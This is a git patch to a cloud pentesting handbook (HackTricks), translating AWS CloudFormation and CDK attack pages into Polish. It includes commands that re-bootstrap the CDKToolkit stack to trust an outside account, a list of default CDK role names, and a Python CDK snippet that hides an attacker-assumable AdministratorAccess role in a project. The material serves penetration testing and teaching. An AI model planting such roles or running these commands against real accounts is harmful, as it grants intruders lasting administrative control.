From e635cf954cdb6f38840e669e2f52e741dea4298f Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 7 Apr 2025 01:39:00 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud --- src/SUMMARY.md | 1 + .../aws-cloudformation-persistence.md | 23 ++++++++ .../aws-cloudformation-privesc/README.md | 59 ++++++++++++++++--- .../aws-cloudformation-and-codestar-enum.md | 12 +++- 4 files changed, 85 insertions(+), 10 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5939f1183..a470914ae 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -211,6 +211,7 @@ - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) + - [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md new file mode 100644 index 000000000..50f5dd6e9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## CloudFormation + +Aby uzyskać więcej informacji, uzyskaj dostęp do: + +{{#ref}} +../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +AWS CDK wdraża stos CFN o nazwie `CDKToolkit`. Ten stos obsługuje parametr `TrustedAccounts`, który pozwala zewnętrznym kontom na wdrażanie projektów CDK w koncie ofiary. Atakujący może to wykorzystać, aby przyznać sobie nieograniczony dostęp do konta ofiary, korzystając z AWS cli do ponownego wdrożenia stosu z parametrami lub z AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 41a89f521..bdbc4348a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -24,7 +24,7 @@ Na poniższej stronie masz **przykład eksploatacji** z dodatkowym uprawnieniem iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potencjalny wpływ:** Privesc do roli serwisowej cloudformation. +**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która została określona. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) @@ -43,7 +43,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji). +Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji). Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku. @@ -53,7 +53,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so Napastnik z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack. -Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) używającą **uprawnień ChangeSet** do stworzenia stosu. +Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](#iam-passrole-cloudformation-createstack) używającą **uprawnień ChangeSet** do stworzenia stosu. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,7 +79,7 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **nadania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku. +Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku. **Potencjalny wpływ:** Privesc do ról serwisowych cloudformation. @@ -89,7 +89,7 @@ To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz ``` --change-set-type UPDATE ``` -**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już przypisana. +**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już dołączona. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) @@ -99,12 +99,57 @@ Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSe ### `cloudformation:UpdateStackSet` -Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia przypisanych ról cloudformation. +Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation. -**Potencjalny wpływ:** Privesc do przypisanych ról cloudformation. +**Potencjalny wpływ:** Privesc do dołączonych ról cloudformation. +## AWS CDK + +AWS cdk to zestaw narzędzi umożliwiający użytkownikom definiowanie ich infrastruktury jako kodu w językach, które już znają, a także łatwe ponowne używanie sekcji. CDK następnie przekształca kod wysokiego poziomu (tj. python) w szablony Cloudformation (yaml lub json). + +Aby używać CDK, użytkownik administracyjny musi najpierw uruchomić bootstrap konta, co tworzy kilka ról IAM, w tym *rolę exec*, która ma uprawnienia \*/\*. Te role mają strukturę nazewnictwa `cdk----`. Bootstrap musi być wykonany raz na region na konto. + +Domyślnie użytkownicy CDK nie mają dostępu do listy ról potrzebnych do używania CDK, co oznacza, że będziesz musiał je określić ręcznie. Jeśli przejmiesz maszynę dewelopera lub jakiś węzeł CI/CD, te role mogą być przyjęte, aby przyznać sobie możliwość wdrażania szablonów CFN, używając roli `cfn-exec`, aby umożliwić CFN wdrażanie dowolnych zasobów, całkowicie kompromitując konto. + +### Określenie nazw ról + +Jeśli masz `cloudformation:DescribeStacks`, role są zdefiniowane w stosie o nazwie `CDKToolkit`, a możesz pobrać nazwy stamtąd. + +Jeśli jesteś na maszynie, która była używana do budowy i wdrażania projektów CDK, możesz je pobrać z `cdk.out/manafest.json` w głównym katalogu projektów. + +Możesz również dobrze zgadnąć, jakie one są. `qualifier` to ciąg dodawany do ról, umożliwiający jednoczesne wdrażanie wielu instancji bootstrap CDK, jednak domyślna wartość jest zakodowana na `hnb659fds`. +``` +# Defaults +cdk-hnb659fds-cfn-exec-role-- +cdk-hnb659fds-deploy-role-- +cdk-hnb659fds-file-publishing-role-- +cdk-hnb659fds-image-publishing-role-- +cdk-hnb659fds-lookup-role-- +``` +### Dodawanie złośliwego kodu do źródła projektu + +Jeśli możesz pisać do źródła projektu, ale nie możesz go samodzielnie wdrożyć (na przykład, deweloper wdraża kod za pomocą CI/CD, a nie lokalnej maszyny), nadal możesz skompromitować środowisko, dodając złośliwe zasoby do stosu. Poniższe dodaje rolę IAM, która może być przyjęta przez konto atakującego do projektu python CDK. +```python +class CdkTestStack(Stack): +def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: +super().__init__(scope, construct_id, **kwargs) + +# ---------- +# Some existing code..... +# ---------- + +role = iam.Role( +self, +"cdk-backup-role", # Role name, make it something subtle +assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role +managed_policies=[ +iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess +], +) +``` ## Odniesienia - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 84a205211..d60f88bd8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główna cecha tej usługi to **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS. +AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główną cechą tej usługi jest **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS. ### Enumeration ```bash @@ -37,13 +37,19 @@ Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień cloudformat ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} +### Persistence + +{{#ref}} +../aws-persistence/aws-cloudformation-persistence.md +{{#endref}} + ### Post-Exploitation -Sprawdź **sekrety** lub wrażliwe informacje w **szablonie, parametrach i wynikach** każdego CloudFormation +Sprawdź **sekrety** lub wrażliwe informacje w **szablonie, parametrach i wyjściu** każdego CloudFormation ## Codestar -AWS CodeStar to usługa do tworzenia, zarządzania i pracy z projektami rozwoju oprogramowania na AWS. Możesz szybko rozwijać, budować i wdrażać aplikacje na AWS za pomocą projektu AWS CodeStar. Projekt AWS CodeStar tworzy i **integruje usługi AWS** dla twojego narzędzia do rozwoju projektu. W zależności od wybranego szablonu projektu AWS CodeStar, to narzędzie może obejmować kontrolę wersji, budowę, wdrożenie, serwery wirtualne lub zasoby bezserwerowe i inne. AWS CodeStar również **zarządza uprawnieniami wymaganymi dla użytkowników projektu** (nazywanych członkami zespołu). +AWS CodeStar to usługa do tworzenia, zarządzania i pracy z projektami rozwoju oprogramowania na AWS. Możesz szybko rozwijać, budować i wdrażać aplikacje na AWS za pomocą projektu AWS CodeStar. Projekt AWS CodeStar tworzy i **integruje usługi AWS** dla twojego narzędzia do rozwoju projektu. W zależności od wybranego szablonu projektu AWS CodeStar, to narzędzie może obejmować kontrolę wersji, budowanie, wdrażanie, wirtualne serwery lub zasoby bezserwerowe i inne. AWS CodeStar również **zarządza uprawnieniami wymaganymi dla użytkowników projektu** (nazywanych członkami zespołu). ### Enumeration ```bash